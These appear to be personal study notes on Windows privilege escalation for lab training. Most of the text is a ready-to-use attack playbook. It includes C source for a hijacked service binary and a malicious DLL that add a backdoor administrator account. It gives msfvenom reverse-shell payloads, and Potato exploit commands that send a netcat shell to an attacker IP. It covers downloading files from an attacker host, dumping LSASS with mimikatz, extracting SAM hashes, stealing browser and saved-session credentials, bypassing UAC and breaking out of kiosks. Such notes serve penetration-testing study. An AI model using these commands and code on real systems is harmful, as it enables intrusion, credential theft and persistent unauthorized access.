Windows Privilege Escalation

HTB Windows Privesc Checklist

Enumerating Windows

Windows Privilege and Access Control

• Secure Identifier (SID)
  • Value assigned to each entity
  • Generated by Local Security Authority for local users and on the DC for domain users
  • SID looks like this: S-R-X-Y
    • S indicates an SID
    • R is for revision and is always 1
    • X determines the identity authority (who gave authority) - 5 is NT Authority
    • Y is a bunch of number strings indicating the sub authorities of the entity
      • Example: S-1-5-21-1336799502-1441772794-948155058-1001
        • RID is 1001, indicating second local user created
    • S-1-0-0 = Nobody, S-1-1-0 = Everybody, S-1-5-11 = Authenticated Users, S-1-5-18 = Local system, S-1-5-{domainidentifier}-500 = Administrator
• Once a user authenticates, they are granted an access token containing the security context
• Security context
  • Contains the SID, SIDs of the user’s groups, user and group privileges, and scope info
• Integrity Control
  • There are four integrity levels
    • System: SYSTEM (kernel)
    • High: Elevated users
    • Medium: Standard users
    • Low: very restricted rights
• User Account Control (UAC)
  • Windows runs most applications with user privileges (even as Administrator)
  • Running programs as Administrator requires a UAC prompt

Collecting Environment Data

• Generally try to collect:
  • Username/hostname - whoami
  • Group memberships of user - Get-LocalGroup
  • Existing users/groups - Get-LocalGroupMember {group name}
  • OS version and arch - systeminfo
  • Network Information - ipconfig /all, route print, netstat -ano or -q
  • Installed Applications - Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node{can_be_removed}\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname - displays all removable applications
    • Can remove select displayname to return all info, like file path
  • Running Processes - Get-Process
    • Get-Process | Select ProcessName,Path
  • Environment Variables!!
    • Get-ChildItem Env:

Collecting Sensitive Information or Credentials

• For automatic enumeration, use LaZagne (see below section)

Searching for Sensitive Information

• Check common folders for passwords - it’s pretty common (can use functions below)
  • Check hidden directories/files with {dir/ls} -force
• Example: search XAMPP for config files (could also do keepass databases or the like):
  • Get-ChildItem -Path C:\Users -Include *.txt, *.ini, -File -Recurse -ErrorAction SilentlyContinue -force
• Search contents of files
  • findstr /sim {password/pass/pwd/cred/vnc} *.{txt/ini/xml/config} (*.{txt/ini/xml/config})
• Using sensitive information
  • Runas - can run commands as a privileged user - this is basically sudo
    • runas /user:{username} {program, like powershell.exe}
• StickyNotes
  • People will often use sticky notes to store passwords, which can be retrieved at C:\Users\{user}\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite (along with plum.sqlite-shm and plum.sqlite-wal)
  • Then, open these three files in a sqlite3 browser and select Text from Note
• Other places to look for credentials:

%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*

Find sensitive PowerShell information

• Looking for PowerShell Transcription and PowerShell Script Block Logging
  • First basically logs every powershell command entered in plaintext, the second records commands and blocks of script code while executing
  • This would be pretty fucking awesome at CCDC as a red teamer, lol
• (Get-PSReadlineOption).HistorySavePath - ENTIRE PowerShell history
• Event Viewer + Script Block Logging
  • Go to Applications and Services Logs > Microsoft > Windows > PowerShell > Operational and scroll through logs
• Evil-WinRM
  • Basically a better shell that provides pass-the-hash, in-memory loading, file upload/download, etc. from kali
  • Download a file with download {filename}
  • Upload a file with upload {filename}
  • evil-winrm -i {IP} -u {username} -p {password}
  • Can also be provided keys
    • evil-winrm -i {IP} -c certificate.pem -k priv-key.pem -S

Browser Credentials

• Can use SharpChrome to retrieve cookies/logins from Chrome
  • .\SharpChrome.exe logins /unprotect
• Firefox stores cookies in a SQLite database at %APPDATA%\Mozilla\Firefox\Profiles\{random_value}.default-release
  • We can copy the database with copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .
  • Then, use something like cookieextractor to extract the cookies from the DB

Remote Access Tool Credentials

• Use SessionGopher to extract saved PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP credentials

Automated Tools

Winpeas

• Great general priv esc script
• Available at https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
• winpeas.exe --fileanalysis to analyze files

LaZagne

• Specializes in finding credentials in all kinds of areas (browsers, chat clients, email, memory dumps, internal storage)
• https://github.com/AlessandroZ/LaZagne
• Run with \lazagne.exe all

PowerUp Powershell Script

• https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1

SharpUp ghostpack executable

• https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe
• Will check for misconfigured ACLs

Seatbelt

• https://github.com/GhostPack/Seatbelt
• Full enum: .\Seatbelt.exe -group=all

Sherlock

• Check for missing patches on outdated versions of Windows
• https://github.com/rasta-mouse/Sherlock
• Import-Module .\Sherlock.ps1 and Find-AllVulns

Leveraging Windows Services

Hijacking Service Binaries

• Get-CimInstanceto query services of WMI (Windows Management Instrumentation) class
  • Get-CimInstance -ClassName win32_service | Select Name,State,Pathname | Where-Object {$_.State -like 'Running'}
  • PowerUp.ps1 (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) can also identify these (among others)
• Check the permissions of the service binaries with icacls or Get-ACL
  • icacls "{executable path}"
  • F - Full access
  • M - Modify Access
  • RX - Read/execute access (this is too low)
  • R - Read-only access
  • W - Write only access
• If a user has full control over a binary with higher permissions (like a MySQL daemon), we can edit the executable and it will be run with higher permissions
  • This can occur due to full permissions being an easy solution for sysadmins
  • This binary can be as simple as creating an administrative user with system()
  • sudo apt install mingw-w64
  • x86_64-w64-mingw32-gcc newuser.c -o newuser.exe
    • python3 -m http.server
    • iwr -uri http://{kali_IP}:8000/newuser.exe -Outfile newuser.exe

#include <stdlib.h>
int main ()
{
  int i;
  
  i = system ("net user kali Password123! /add");
  i = system ("net localgroup administrators kali /add");
  i = system ("net localgroup "Remote Desktop Users" kali /add");
  
  return 0;
}

• Then, move the normal executable out from it’s usual location, move ours in, and then figure out how to restart the service (so it uses the exe)
• Restarting the service
  • Could be as simple as net stop {service}, but access will likely be denied
  • If the service’s StartMode is set to “Auto”, we can reboot the system (if permissions allow)
    • shutdown /r /t 0

Hijacking Service DLLs

• Similar to hijacking binaries, can replace DLL with malicious code
• Searching for DLLs:
  • Get-ItemProperty "HKLM:\SOFTWARE\(optional)Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname to find installed software
  • The versions of this software could be vulnerable to DLL hijacking (search it up)
• Can also replace missing DLLs with malicious ones
  • This can be useful when we find a binary we can’t modify that loads a missing DLL
    • Will likely be looked for in a PATH location (check with $env:path), so we put it there
  • We can find missing DLLs by copying user executables to our machine and checking them out with Process Monitor
• When making the DLL, we can again simply add an administrative user to the system using something like the following inside of case DLL_PROCESS_ATTACH:
  • int i; i = system("net user /ADD tempuser"); i = system("net localgroups administrators /ADD tempuser"); break;
  • MinGW can compile C++ code into DLLs with the --shared flag
    • x86_64-w64-mingw32-gcc dll.cpp --shared -o dll.dll

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user kali kali123! /add");
  	    i = system ("net localgroup administrators kali /add");
  	    i = system ("net localgroup "Remote Desktop Users" kali /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

.bat files

• Just call an executable inside the batch file

C:\Users\Public\reverseshell.exe

Abusing Service ACLs

• If we have full control over a service, we can use sc to modify the service
• Something like sc config {vulnerable_service} binpath="cmd /c net localgroup administrators {our_user} /add" will do the trick
  • Alternatively, we could provide a path to a malicious executable

Abusing Unquoted Service Paths

• This occurs when we can write to a service’s main directory without being able to modify the current files
• Can again be found using wmic in cmd:
  • wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
  • These will list potentially vulnerable paths
• Abusing this:
  • Let’s say a service path is in use like C:\Program Files\Enterprise Agents\Company Files\GammaServ.exe
  • Windows will first check for C:\Program.exe, then C:\Program Files\Enterprise.exe, then C:\Program Files\Enterprise Agents\Company.exe, and finally C:\Program Files\Enterprise Agents\Company Files\GammaServ.exe
    • If we can write to the C:\Program Files\Enterprise Agents\ directory, we can make an executable called Company.exe, which will be used before the real one
  • Then, restart the service somehow and our executable should run

Abusing Other Windows Components

Living off of the Land

• LOLBAS is a great resource similar to gtfobins
• Microsoft signed files that have extra, unexpected functionality, such as, executing code, compiling code, file operations, persistence, UAC bypass, credential theft, dumping process memory, surveillance, log evasion, and DLL side-loading/hijacking
  • For example, certutil can download files with certutil.exe -urlcache -split -f http://{kaliIP}/{file} {output_file}

Using Scheduled Tasks

• Need to know who runs the scheduled tasks, what triggers are required, and what the tasks do
• View scheduled tasks with Get-ScheduledTask or schtasks /query /fo LIST /v
  • This is a shit ton of info, pipe it into a text file and search through it
    • Can search for {workgroup}\, which will return things authored by people like CLIENTWK220\daveadmin
  • Check author of scheduled tasks, tasks to run, and next run time
    • Sometimes, privileged authors can put the executables in modifiable locations
    • Thus, if we replace it, it will be run as a privileged user on next run time
• Get startup tasks: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Registry

• WinPEAS will output controllable Registry entries, look for
  • HKLM\system\currentcontrolset\services\<service> (Interactive [FullControl])
• Autorun:
  • reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
• Can check perms with accesschk \accepteula -uvwqk "{path}"
  • https://download.sysinternals.com/files/AccessChk.zip
• reg query {registry_path}
• reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v {file_path_entry} /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
• AlwaysInstallElevated
  • reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • If one of these works, do
    • msfvenom -p windows/x64/shell_reverse_tcp LHOST={IP} LPORT={port} --platform windows -f msi > reverse.msi
    • msiexec /quiet /qn /i reverse.msi

Abusing Privileges to Execute Code as Privileged Users

• Can either exploit applications, the kernel, or abuse privileges we have
• whoami /priv
  • This will return the specific privileges our user has, in either an enabled or disabled state
  • Disabled just means we need to enable it before using the relevant command
    • We can enable all privileges using this powershell script
• Privilege Abuse:
  • If we have SeImpersonatePrivilege, SeBackupPrivilege, SeAssignPrimaryToken, SeLoadDriver, SeTakeOwnershipPrivilege or SeDebugPrivilege, we can sometimes perform operations in the security context of another user
    • With the SeBackupPrivilege and SeRestorePrivilege, we can read arbitrary files with robocopy: robocopy /b C:\<path to file> .\<filename>
      • We can also just privesc via the following:
      • reg save hklm\sam C:\Users\{current_user}\sam
      • reg save hklm\system C:\Users\{current_user}\system
        • The SAM and SYSTEM will usually be located here:
          • C:\Windows\repair\SAM
          • C:\Windows\System32\config\RegBack\SAM
          • C:\Windows\System32\config\SAM
          • Can search with dir /s {SAM/SYSTEM}
      • impacket-secretsdump -sam sam -system system LOCAL
    • Use SharpUp to determine which privileges are abusable
    • With SeDebugPrivilege
      • procdump.exe -accepteula -ma lsass.exe lsass.dmp
      • Then, run mimikatz (run log so output is in txt) and run sekurlsa::minidump lsass.dmp
    • With SeTakeOwnershipPrivilege
      • Outlined here: https://academy.hackthebox.com/module/67/section/642
      • We can essentially take ownership of any file, folder, or registry key
      • Abused with takeown /f '{path_to_object}'
        • This gives us ownership, but we might still not have the proper ACLs, so we need to give them to ourself
        • icacls '{path_to_object}' /grant {our_user}:F
  • Named pipes:
    • Allow unrelated processes to share data between each other
    • If we can coerce a a privileged process into connecting to a controlled named pipe, we can capture the authentication and use SeImpersonatePrivilege to impersonate the user account and perform operations in their security context
      • SweetPotato can be used to reliably exploit this it seems; use the nc reverse shell below
  • General Potato information:
    • https://jlajara.gitlab.io/Potatoes_Windows_Privesc
  • SweetPotato
    • Apparently just the best potato
    • https://github.com/CCob/SweetPotato
      • Compiled pretty painlessly after cloning the repo in Visual Studio 2022
    • .\SweetPotato.exe -e EfsRpc -p {path_to_nc.exe} -a "{kali_ip} {listening_port} -e cmd" works pretty well
  • JuicyPotato
    • https://github.com/ohpe/juicy-potato/releases/tag/v0.1
    • C:\Users\Public\JuicyPotato.exe -l 1337 -p C:\Windows\system32\cmd.exe -a "/c {nc.exe_path} {kali_IP} {kali_port} -e cmd.exe" -t *
  • GodPotato
    • Can use for a reverse shell GodPotato.exe -cmd "cmd /c reverse.exe"
      • GodPotato.exe -cmd "powershell -e ...."
    • Can also use it to create a new administrative user, then rdp/winrm in
  • Sigma Potato (PrintSpoofer)
    • Coerces NT AUTHORITY/SYSTEM into a named pipe
    • Can be used when we have a user with SeImpersonatePrivilege
    • wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
    • .\PrintSpoofer64.exe -i -c powershell.exe

Bypassing UAC

• If we’re a local administrator on a system, but get an Access is denied. error while a attempting to perform a privileged action, it’s likely UAC
• Windows User Account Control can be bypassed using many different techniques
• Check if it’s running with REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
  • Check level with REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin (5 being the highest level)
• The bypasses/escalations we can do depend on our Windows version number, which we can get with [environment]::OSVersion.Version
• The UACME project maintains a list of bypasses per Windows version number
• The Bypass UAC powershell script can automate this
  • Import-Module .\Bypass-UAC.ps1 and then Bypass-UAC -Method UacMethodSysprep

Bypassing GPO restrictions

• Often, GPO restrictions will be in place where users can’t access perform certain actions
  • This could be accessing a certain share or folder from Explorer or running cmd/powershell
• Thus, we can do something like open MS paint, open the file dialog box from there, and then type the fileshare in the filename field
  • Something like \\127.0.0.1\c$\users\{user}
  • This can also help us break out of restricted environments or kiosks, as we can host cmd.exe in a network share, access the share from paint’s explorer dialog, right click cmd.exe, and open it
    • Alternatively, we can edit an existing shortcut such that the Target field is C:\Windows\System32\cmd.exe, and thus opening the shortcut pops cmd
  • .bat, .ps, and .vbs scripts will sometimes automatically execute, which can also be used to gain a shell
• Can also try using Q-Dir or Explorer++ if GPO restrictions are on explorer itself (similar story with Simpleregedit or SmallRegistryEditor for registry restrictions)

Miscellaneous

WireShark

• Wireshark isn’t limited to Administrators by default, so if we can run it, we can capture creds sent over the wirexx